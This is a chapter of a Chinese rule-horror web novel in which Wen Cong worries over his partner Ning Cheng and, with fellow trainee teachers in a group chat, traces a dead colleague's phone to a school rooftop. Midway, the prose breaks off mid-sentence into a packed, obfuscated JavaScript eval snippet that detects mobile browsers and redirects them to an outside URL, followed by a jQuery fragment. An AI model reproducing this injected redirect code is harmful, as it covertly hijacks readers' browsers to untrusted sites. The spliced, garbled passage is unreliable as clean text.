政教主任不光是把闻淙送回小区，还贴心地一路护着他到了单元楼下。
这么走下来，虽然闻淙身上还是不可不免地沾上了【雾】，人却是无碍的。
“那小闻老师，”他搓搓手，“咱们明天学校见。”
看样子还真是对闻淙怀着极大的期待。
闻淙只好回给对方一个假笑。等扭过头，他一面上楼一面在心里扒拉，自己要邀请哪四个人来听课。
再有，这个世界的活人到底把日子过得多水深火热？上课的老师不是人，同桌的同学不是人，就连楼下的邻居也不是人。
就算哥现在也不是人了，想到对方一天到晚都在和这些鬼东西打交道，闻淙还是心疼。
怀着半是沉重、半是期许的心情，青年在男朋友家外站定，“笃笃笃”地敲起了门。
等到脚步声传来，闻淙脸上早早挂出笑容，要喊出那句惯常的“哥”。
然而今天又有些不同。
随着房门开启，不等声音从嗓子眼里冒出来，外来者脸上浮出几分疑惑。
鼻尖动了动，再动了动。
怎么回事？哥家里怎么有这么重的油漆味道？
闻淙先是怔然，直到宁琤叫了一句他的名字，他才蓦地回过神来。
“咚咚，咚咚！”
心脏再度开始剧烈跳动，无声的疼痛跟着袭来。
闻淙双目微微发红，手指发抖，往前一步，在宁琤完全没有反应过来时将他按住。
“你怎么了？”他问，“为什么这里……哥，你是不是受伤了？”
……
……
很早以前，宁琤曾总结出一条“经验”。
【它们】的【致命规则】，往往与其诞生时最大的执念有关；
同时，【它们】的【能力】，则与曾经死去的方式直接挂钩。
……
……
宁琤被油漆淹没的画面，是闻淙失去他以后做得最多的噩梦。
他会在其中和自己最爱的最亲密的最重要的人一同窒息，陷入“我们终于还是在一起了”的虚幻满足当中，又在睁眼之后落入更长久的茫然苦痛。
直到从其他人口中听说宁琤似乎还【活着】，这一切才终是被按下暂停键。
然而，现在，他最深切的噩梦再一次爆发了。
失去的恐惧、无法保护的愤怒，这一切都在闻淙脑海之中翻涌。直到他感受到一双手温柔地落在自己背后，听到耳畔熟悉的、无奈的叹息声，发热的头脑才终于稍稍冷静下来。
“我没事。”宁琤很快地、轻轻地说，像是怕被什么存在听到似的。“小淙，放心好了。”
闻淙怔然，抬头去看眼前之人。可这时候宁琤已经灵巧地转过身，从他的怀抱中挣脱。
“来都来了，”闻淙的爱人一本正经地说，“就让你再留下吃一顿饭吧。”
闻淙看着对方，一动不动。
直到宁琤伸出手，疑惑地在他面前晃一晃，配上“怎么回事，难道是傻了”的碎碎念，他才回过神，重新露出微笑。
“好啊，”青年开心道，“谢谢哥！”
虽然心已经放下大半，但接下来的共处时间，闻淙还是一直在靠近宁琤、努力观察。
“明明有事却为了哄骗老公，强行装成没事”这事儿，他哥绝对干得出来。
好在闻淙看来看去，还是觉得宁琤应该真的无碍。等到两人分开的时候，还难得和他发出邀请，要他明日再来。
闻淙的第一反应是对方已经软化了态度、愿意接受自己留在眼下世界的方案。可细细去看，又察觉不对。
哥仿佛还是不愿意与他有太多接触。与此同时，又强调明早有话要说。
“哥果然还是很在意我”——值得高兴。
“哥的头发……怎么变白了？”——闻淙被吓到了。
奈何宁琤不愿意好好给出答案，不光如此，他竟然直接把闻淙赶走。
一鼓作气，将人直接塞进502的屋门不说，还对门锁做了什么，导致闻淙努力了足足半个小时，都没把房门打开。
闻淙心头焦灼，再怎么知道自己干守着也不是办法、还是得有足够睡眠，确保明天的状态，也依然是一夜辗转反侧。
第二日天刚亮，他便一骨碌从床上爬起来，披着床单冲向门口。
这回屋门顺利地打开了。闻淙双目发光，赶忙来到隔壁。可当他要抬手敲击的时候，青年又犹豫了。
哥特地叮嘱过，那就是不希望自己到的太早。
现在几点来着？……回家看一眼，还没到六点半呢。
闻淙心头挣扎，想了半天，还是没有发出动静。
回去躺着却是不可能的。他把手机取出来，维持着披床单的姿势，开始在宁琤家门口踱步。
看两眼“实习老师”群里的内容，再看两眼时间。
坏消息是昨晚宿舍楼又双叒出了事。就虽然有赵驰的前车之鉴，姚谦却还是中了套，和半夜来找他同住的“赵驰”说了话。
只是他看起来唯唯诺诺，实际竟也是个带着道具进来的。这会儿虽然状态很差，但人还活着。
好消息是凭借高超的记忆力，贾简一个不带一班的老师竟已经整理出黄文墨负责的几个学生的名单和基本情况。
四个名字发出来，最先被察觉的是一件事：“王宇晨不在里面？”
“不在。”贾简说。她又@负责盯着这头明“狼”的几人，问这些天几个学生有没有接触。
赵驰和姚谦回忆一番，都道看不到几个人有什么明面上的关联。
和黄文墨同属英语组的眼镜男温狄则回复：“任逸凡？我对这个名字有印象，他昨天下午到办公室找过黄老师。”
新的线索出现了。贾简很快问：“温老师，他具体是什么时候去的？和黄老师说了什么，你听到了吗？”
温狄则过了会儿才回复：“没。我第三节课下课之后先去了趟洗手间，然后才回的办公室，这会儿任逸凡已经在往外走了。我看他的学生证上写着一班，就叫住人问了一句，他说本来要见黄老师，但看到人没在，又看到课表上贴着黄老师第四节是去二班上课，就打算先回教学楼那边。”
闻淙踱步的动作缓缓停下，眼睛眨也不眨地盯着手机，手指继续往下翻动。
忽略掉其他人的疑问，直接看温狄的下一段话。“……我肯定问了啊。但他还真是一班的英语课代表，咬死了是来问作业改完没的。课间又马上要结束了，总不能不让人走吧？”
英语课代表？
不光闻淙，群里其他人也显得失望。
但众人还是同意，等到上学时间，得把任逸凡当做下一个重点目标。
他出现的时间还是太巧合了，而论坛中有一句许多人认可的话：“游戏里没有巧合。”
闻淙看过聊天记录，也觉得当下好像只能这样。
虽然自己总
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14974178|155253||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
觉得众人似乎忽略了什么，但……
正琢磨着呢，旁边的屋门打开了。
闻淙瞬间抛下前面的思量，开开心心迎向宁琤。
直到到了学校，他才一拍脑袋：“不对啊！黄文墨的账号不是还在群里吗？”
他自然不是觉得已经死了的人也应该加入讨论，最好能直接说出自己昨晚上天台的原因。问题在于，在这种信号没有被屏蔽、大伙儿一直能联络的场地里，黄文墨是遇到了什么事儿，才让他连条消息都不发，就翘课走人了？
“他说不定根本没想到自己回不去。”青年喃喃自语，“不过，就算这样，他也还是应该发个消息——甚至想着能不能带个人一起去天台上。”
或者说，还有一种可能性。
黄文墨其实已经发出信号了，却没有被任何人看到，更无从得到回应。
闻淙一脚踏入校门，抬眼看着前方大楼，眼里闪过一道微光。
五分钟后，他出现在天台上。
昨晚政教主任和这儿“原住民”打斗时留下的痕迹还在，但除了肉眼看到的那些破烂砖头，此地再没什么不寻常的地方。
闻淙在上面走了一圈儿，没费什么劲就找到了黄文墨的手机。
他第一时间将对方最后明明发了出去、众人却没有看到的消息拍下来、自己发进群里。想了想，还补充了句：“看到扣1。”
众人：“……111111。”
赵驰：“小闻哥，什么个情况啊？”
闻淙：“任逸凡就是有问题。除了他，恐怕没人会在那个时间点干扰一把黄老师的手机信号。”
【它们】当中的很多成员都有这个技能，众人也或多或少有无论如何都联络不上其他人的经历。看了闻淙的话，一个个都迅速领会了他的意思。
赵驰发了几个“裂开”的表情，继续问：“等等，我怎么觉得有点奇怪啊。如果说黄老师触犯了什么【规则】，最后害了他的怎么会是天台那位？不应该是任逸凡自己吗！”
同理，如果黄文墨压根没招惹到任逸凡，他又为什么要这么做？
他一时想不明白，其他人却已经有了思路。
贾简道：“恐怕是昨天黄老师找他谈话的时候发生了什么，让他觉得必须得这么做。”
而会让【它们】有所触动的，一定不会是普通人类，而是更高层级的诡异。
“是校规。”闻淙道，“黄老师让任逸凡知道，他发现学生们正在学校‘玩游戏’了。”
他打字到这里，眉尖又一次压了下去。
这实在不算是一个好消息。如果任逸凡并非站在“狼”的立场，仅仅是作为一个寻常的、不希望自己的违规行为被发现的学生，众人却一门心思追着他不放，无疑是会浪费大量时间的。
论坛里还有一句所有人耳熟能详的话：“正确的规则是保护，也是限制。”简单几个字，正说明了众人现在的处境。
在闻淙经历过的诸多任务里，【光明小学】的【规则】之多，能排得上前几。更可贵的是，从《教师守则》到其他规矩，都很少有被污染更改的地方。
乍看起来这是好事，大伙儿只要认真遵循就能活下去。可真这么做了，也等同于他们无法对学生做盯梢、询问之外的任何事。
毕竟整个《教师守则》都围绕着一个原则：老师应该向学生教导知识，为他们提供在校期间的保护。
……或许自己还是应该去找朱陆仪聊聊。